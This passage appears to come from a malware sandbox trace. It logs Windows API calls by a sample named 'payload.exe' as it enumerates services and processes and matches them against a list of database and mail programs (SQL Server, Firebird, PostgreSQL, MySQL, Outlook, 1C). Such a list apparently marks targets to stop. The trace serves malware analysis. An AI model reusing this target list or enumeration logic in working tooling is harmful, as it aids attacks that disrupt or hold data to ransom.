(lpString1="mssqlserver", lpString2="SamSs") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0113.652] lstrlenW (lpString="Schedule") returned 8 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0113.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0113.652] lstrlenW (lpString="SENS") returned 4 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0113.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0113.652] lstrlenW (lpString="ShellHWDetection") returned 16 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0113.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0113.652] lstrlenW (lpString="Spooler") returned 7 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0113.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0113.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0113.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0113.652] lstrlenW (lpString="SysMain") returned 7 [0113.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0113.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0113.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0113.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0113.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0113.653] lstrlenW (lpString="Themes") returned 6 [0113.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0113.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0113.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0113.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0113.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0113.653] lstrlenW (lpString="TrkWks") returned 6 [0113.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0113.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0113.653] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0113.653] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0113.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0113.653] lstrlenW (lpString="UxSms") returned 5 [0113.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0113.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0113.653] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0113.653] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0113.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0113.653] lstrlenW (lpString="WdiServiceHost") returned 14 [0113.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0113.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0113.653] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0113.653] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0113.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0113.653] lstrlenW (lpString="WdiSystemHost") returned 13 [0113.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0113.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0113.653] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0113.653] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0113.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0113.654] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0113.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0113.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0113.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0113.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0113.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0113.654] lstrlenW (lpString="Winmgmt") returned 7 [0113.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0113.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0113.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0113.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0113.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0113.654] lstrlenW (lpString="WPDBusEnum") returned 10 [0113.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0113.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0113.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0113.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0113.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0113.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0113.654] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ec [0113.655] Process32FirstW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.656] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0113.656] lstrlenW (lpString="System") returned 6 [0113.656] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0113.656] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0113.656] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0113.656] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0113.656] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0113.656] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0113.656] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0113.656] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0113.656] lstrlenW (lpString="smss.exe") returned 8 [0113.656] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0113.656] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0113.656] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0113.656] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0113.656] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0113.656] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0113.656] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0113.657] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.657] lstrlenW (lpString="csrss.exe") returned 9 [0113.657] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0113.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0113.657] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0113.657] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0113.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0113.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0113.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0113.657] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0113.658] lstrlenW (lpString="wininit.exe") returned 11 [0113.658] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0113.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0113.658] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0113.658] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0113.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0113.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0113.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0113.658] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.658] lstrlenW (lpString="csrss.exe") returned 9 [0113.658] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0113.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0113.658] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0113.658] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0113.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0113.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0113.658] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0113.658] lstrlenW (lpString="winlogon.exe") returned 12 [0113.658] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0113.659] lstrlenW (lpString="services.exe") returned 12 [0113.659] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0113.659] lstrlenW (lpString="lsass.exe") returned 9 [0113.659] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0113.659] lstrlenW (lpString="lsm.exe") returned 7 [0113.659] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.660] lstrlenW (lpString="svchost.exe") returned 11 [0113.660] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.660] lstrlenW (lpString="svchost.exe") returned 11 [0113.660] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.660] lstrlenW (lpString="svchost.exe") returned 11 [0113.660] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.660] lstrlenW (lpString="svchost.exe") returned 11 [0113.660] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.661] lstrlenW (lpString="svchost.exe") returned 11 [0113.661] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0113.661] lstrlenW (lpString="audiodg.exe") returned 11 [0113.661] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.661] lstrlenW (lpString="svchost.exe") returned 11 [0113.661] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.662] lstrlenW (lpString="svchost.exe") returned 11 [0113.662] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0113.662] lstrlenW (lpString="userinit.exe") returned 12 [0113.662] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0113.662] lstrlenW (lpString="dwm.exe") returned 7 [0113.662] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0113.662] lstrlenW (lpString="explorer.exe") returned 12 [0113.662] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0113.663] lstrlenW (lpString="spoolsv.exe") returned 11 [0113.663] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0113.663] lstrlenW (lpString="taskhost.exe") returned 12 [0113.663] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.663] lstrlenW (lpString="svchost.exe") returned 11 [0113.663] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0113.663] lstrlenW (lpString="payload.exe") returned 11 [0113.663] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0113.664] lstrlenW (lpString="reader_sl.exe") returned 13 [0113.664] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0113.664] lstrlenW (lpString="taskhost.exe") returned 12 [0113.664] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0113.664] lstrlenW (lpString="dllhost.exe") returned 11 [0113.664] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0113.665] lstrlenW (lpString="consent.exe") returned 11 [0113.665] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0113.665] lstrlenW (lpString="dllhost.exe") returned 11 [0113.665] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0113.665] CloseHandle (hObject=0x3ec) returned 1 [0113.665] Sleep (dwMilliseconds=0x1f4) [0114.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55eae0 [0114.222] EnumServicesStatusExW (in: hSCManager=0x55eae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0114.222] GetLastError () returned 0xea [0114.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0114.222] EnumServicesStatusExW (in: hSCManager=0x55eae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0114.223] CloseServiceHandle (hSCObject=0x55eae0) returned 1 [0114.223] lstrlenW (lpString="Appinfo") returned 7 [0114.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0114.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0114.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0114.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0114.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0114.223] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0114.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.223] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0114.223] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0114.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0114.223] lstrlenW (lpString="AudioSrv") returned 8 [0114.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0114.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0114.223] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0114.223] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0114.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0114.224] lstrlenW (lpString="BFE") returned 3 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0114.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0114.224] lstrlenW (lpString="CryptSvc") returned 8 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0114.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0114.224] lstrlenW (lpString="CscService") returned 10 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0114.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0114.224] lstrlenW (lpString="DcomLaunch") returned 10 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0114.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0114.224] lstrlenW (lpString="Dhcp") returned 4 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0114.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0114.224] lstrlenW (lpString="Dnscache") returned 8 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0114.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0114.224] lstrlenW (lpString="DPS") returned 3 [0114.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0114.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0114.224] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0114.224] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0114.225] lstrlenW (lpString="eventlog") returned 8 [0114.225] 